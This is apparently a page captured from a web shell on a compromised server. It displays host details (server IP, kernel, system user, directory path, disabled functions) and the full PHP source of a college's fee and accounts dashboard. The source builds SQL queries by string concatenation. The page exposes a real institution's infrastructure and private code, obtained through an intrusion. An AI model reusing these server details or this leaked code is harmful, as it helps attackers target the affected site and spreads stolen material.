|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/ecampus.ncriptech.com/../websites/vtti.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
$installment_id=mysqli_fetch_array($installment_id);
$installment_id=$installment_id['menuper'];
$menuper=explode(',',$installment_id);
if(in_array('Dashboard',$menuper)){
}else{
header("location:index.php");
}
?>
<?php include("include/header.php"); ?>
<?php include("banktobalance.php"); ?>
<?php include("opening_balance_all_cash.php"); ?>
<?php include("include/sidebar.php"); ?>
<!-- Content Wrapper. Contains page content --><link href="https://fonts.googleapis.com/css?family=Ubuntu" rel="stylesheet">
<div class="content-wrapper" style='height:805px;'>
<section class="content-header">
<h1>
Dashboard
<small>Control panel</small>
</h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li class="active">Dashboard</li>
</ol>
</section>
<!-- Main content -->
<section class="content" style="min-height: 0px;">
<!-- Small boxes (Stat box) -->
<div class="row">
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-aqua">
<div class="inner">
<?php $Query=mysqli_query($con,"SELECT * ,sum(dueamount) as dueamount
,sum(duemiscfee) as duemiscfee FROM admission_enquiry_form
");
$Rowh=mysqli_fetch_array($Query);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<h3 >
<?php if(isset($Rowh['dueamount'])){ ?>
<?php echo number_format($Rowh['dueamount'])."<br>";; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00c0ef;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-bar-chart"></i>
</div>
<a href="dueinstallmentstudentreports.php" class="small-box-footer">Total Fee Due Till Date <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-green">
<div class="inner">
<?php
$monthlytotal=0;
$monthlypaid=0;
$otherfeeQ=mysqli_query($con,"select sum(miscfeemaster.amount) as total, sum(paymonthlyfee.payment_amount) as paid
from setmonthlyfee
left join miscfeemaster on miscfeemaster.id=setmonthlyfee.miscfeemaster_id
left join paymonthlyfee on paymonthlyfee.setmonthlyfee_id=setmonthlyfee.id");
$otherfeeR=mysqli_fetch_array($otherfeeQ);
if(mysqli_num_rows($otherfeeQ)>0){
$monthlytotal=$otherfeeR['total'];
$monthlypaid=$otherfeeR['paid'];
}
$onetimetotal=0;
$onetimepaid=0;
$onetimefeeQ=mysqli_query($con,"select sum(miscfeemaster.amount) as total, sum(payonetimefee.payment_amount) as paid
from setonetimefee
left join miscfeemaster on miscfeemaster.id=setonetimefee.miscfeemaster_id
left join payonetimefee on payonetimefee.setonetimefee_id=setonetimefee.id");
$onetimefeeR=mysqli_fetch_array($onetimefeeQ);
if(mysqli_num_rows($onetimefeeQ)>0){
$onetimetotal=$onetimefeeR['total'];
$onetimepaid=$onetimefeeR['paid'];
}
?>
<h3 ><?php if(isset($otherfeeR['total'])||isset($onetimefeeR['total'])){ ?>
<?php echo number_format($monthlytotal-$monthlypaid+$onetimetotal-$onetimepaid)."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00a65a;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-bar-chart"></i>
</div>
<a href="monthlyfeereports.php" class="small-box-footer">Total Other Fee Due Till Date <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-yellow">
<div class="inner">
<?php
$occDate=date('Y-m-d');
$datecut = date("Y-m-d");
$segments = explode('-', $datecut);
$forOdNextMonth= date('m', strtotime($occDate."+1 month"));
$yearNextMonth= date('Y', strtotime($occDate."+1 month"));
// echo $forOdNextMonth;
// exit;
$Query=mysqli_query($con,"SELECT * ,sum(amount) as amount
FROM setinstallment
WHERE installmentdate like '".$yearNextMonth."-".$forOdNextMonth."%' ");
$Row=mysqli_fetch_array($Query);
$payinstallment=mysqli_query($con,"SELECT sum(payment_amount) as payment_amount
FROM payinstallment
WHERE lastpaymentdate like '".$forOdNextMonth."%".$yearNextMonth."' ");
$payinstallment=mysqli_fetch_array($payinstallment);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<h3 ><?php if(isset($Row['amount'])){ ?>
<?php echo number_format($Row['amount']-$payinstallment['payment_amount'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#f39c12;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-forward"></i>
</div>
<a href="setinstallmentreports.php" class="small-box-footer">Next Month Installment Total <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-red">
<div class="inner">
<?php $Querys=mysqli_query($con,"select *
FROM commenacademicyear where id='".$Rowh['academicyear']."'");
$Rowsf=mysqli_fetch_array($Querys);
$academictitle=$Rowsf['academictitle'];
$academictitle=explode('-',$academictitle);
$f1=$academictitle[0].'-01-01';
$f2=$academictitle[1].'-01-01';
$Query=mysqli_query($con,"select *,sum(transactionamount) as transactionamount
FROM banktocash where created_at between '".$f1."' and LAST_DAY('".$f2."')");
$Row=mysqli_fetch_array($Query);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
$upuserresultgs=mysqli_query($con,"select * from totalcash where id='1'");
$upuserresultgsf=mysqli_fetch_array($upuserresultgs);
?>
<h3 ><?php if(isset($upuserresultgsf['cash'])){
$currdate=date('d/m/Y');
$totalcashopen=mysqli_query($con,"select * from opening_balance_cash where updates='".$currdate."'");
$upuserresultgsfff=mysqli_num_rows($totalcashopen);
if($upuserresultgsfff>0){
}else{
$check=mysqli_query($con,"Update opening_balance_cash set user_id='".$_SESSION["ecomid"]."',cash='".$upuserresultgsf['cash']."',updates='".$currdate."'
where id='1'");
} echo number_format($upuserresultgsf['cash'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#dd4b39;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-inr"></i>
</div>
<a href="cashreport.php" class="small-box-footer">Cash In Hand <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
</div><!-- /.row -->
</section><!-- /.content -->
<section class="content" style="min-height: 0px;">
<!-- Small boxes (Stat box) -->
<div class="row">
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-aqua">
<div class="inner">
<?php
$upuserresultgs=mysqli_query($con,"select *,sum(bank_amount) as bank_amount from bankdetails ");
$amountr=0;
while($bank_amount=mysqli_fetch_array($upuserresultgs)){
$amountr +=$bank_amount['bank_amount'];
}
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<h3 >
<?php if(isset($amountr)){
$currdate=date('d/m/Y');
$totalbankopen=mysqli_query($con,"select * from opening_balance_bank where updates='".$currdate."'");
$upuserresultgsfffbank=mysqli_num_rows($totalbankopen);
if($upuserresultgsfffbank>0){
}else{
$check=mysqli_query($con,"Update opening_balance_bank set user_id='".$_SESSION["ecomid"]."',bank='".$amountr."',updates='".$currdate."'
where id='1'");
} ?>
<?php echo number_format($amountr)."<br>";; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00c0ef;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-university"></i>
</div>
<a href="#" class="small-box-footer">Balance @ Bank <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-green">
<div class="inner">
<?php
$party_payment=mysqli_query($con,"SELECT * ,sum(DueAmount) as DueAmount
FROM party_payment
");
$party_payment=mysqli_fetch_array($party_payment);
?>
<h3 ><?php if(isset($party_payment['DueAmount'])){ ?>
<?php echo number_format($party_payment['DueAmount'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#00a65a;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-spinner"></i>
</div>
<a href="PartyNextPayment.php" class="small-box-footer">Payment Pending Suppliers <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6"><!--Pending Cheques-->
<!-- small box -->
<div class="small-box bg-yellow">
<div class="inner">
<?php
$chequepayment=mysqli_query($con,"SELECT sum(amount) as pendingamount
FROM checktransaction where approve=0 AND (cheque_for='admission' OR cheque_for='booking' OR cheque_for='installment')
");
$cheque_payment=mysqli_fetch_array($chequepayment);
?>
<h3 ><?php if(isset($cheque_payment['pendingamount'])){ ?>
<?php echo number_format($cheque_payment['pendingamount'])."<br>"; ?>
<?php }else{ echo '0'; } ?></h3>
<p style='color:#F39C12;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-money"></i>
</div>
<a href="adminaccountreports.php" class="small-box-footer">Pending amount of Cheques <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-red">
<div class="inner">
<?php
$occDate=date('m/d/Y');
$forOdNextMonth= date('m', strtotime($occDate."+1 month"));
//echo $forOdNextMonth;
$Query=mysqli_query($con,"SELECT * ,sum(amount) as amount
FROM setinstallment
WHERE installmentdate like '".$forOdNextMonth."%'");
$Row=mysqli_fetch_array($Query);
//echo "<pre>";
//echo print_r($Row);
//echo "</pre>";
?>
<h3><?php echo date('h:i:s'); ?></h3>
<!--<h3></h3>-->
<p style=''><?php echo date('m/d/Y'); ?></p>
<!--<div id="div1">
<p id="time"></p>
<p id="date"></p>
</div>-->
</div>
<div class="icon">
<i class="fa fa-clock-o"></i>
</div>
<a href="#" class="small-box-footer">Server Date and Time <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
<div class="col-lg-3 col-xs-6">
<!-- small box -->
<div class="small-box bg-aqua">
<div class="inner">
<?php $Query=mysqli_query($con,"select balance from sms balance where id=1
");
$Row=mysqli_fetch_array($Query);
?>
<h3 ><?=$Row['balance'];?></h3>
<p style='color:#00c0ef;'>kk</p>
</div>
<div class="icon">
<i class="fa fa-envelope"></i>
</div>
<a href="dueinstallmentstudentreports.php" class="small-box-footer" style="font-family: 'Ubuntu', sans-serif;">SMS Balance <i class="fa fa-arrow-circle-right"></i></a>
</div>
</div><!-- ./col -->
</div><!-- /.row -->
</section><!-- /.content -->
<!-- Small boxes (Stat box) -->
<!--<div class="col-lg-9 col-xs-16" style='margin-top:-15px;'>
<div class="col-md-12 col-xs-12">
<div class="card">
<div class="card-block">
<h3 class="card-title" style='margin:15px;'>Income Expence Graph</h3>
</div>
<div class="ct-chart-dashboard ct-chart-blue" style='height:400px;'>
<svg width='100%' style='margin-top:-310px;'
>
</svg></div>
</div>
</div>
</div>
<!-- /.content -->
</div><!-- /.content-wrapper -->
<?php include('include/footer.php');?>
<script type="text/javascript">
$(function() {
// Dashboard Sales Chart
// ------------------------------------------------------------------
var dataMain = {
labels: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],
series: [
[5, 4, 3, 7, 5, 10, 3, 4, 8, 10, 6, 8],
[3, 2, 9, 5, 4, 6, 4, 6, 7, 8, 7, 4]
]
};
var optionsMain = {
seriesBarDistance: 10
};
var responsiveOptionsMain = [
['screen and (max-width: 640px)', {
seriesBarDistance: 5,
axisX: {
labelInterpolationFnc: function (value) {
return value[0];
}
}
}]
];
var chart = new Chartist.Bar('.ct-chart-dashboard', dataMain, optionsMain, responsiveOptionsMain);
});
</script>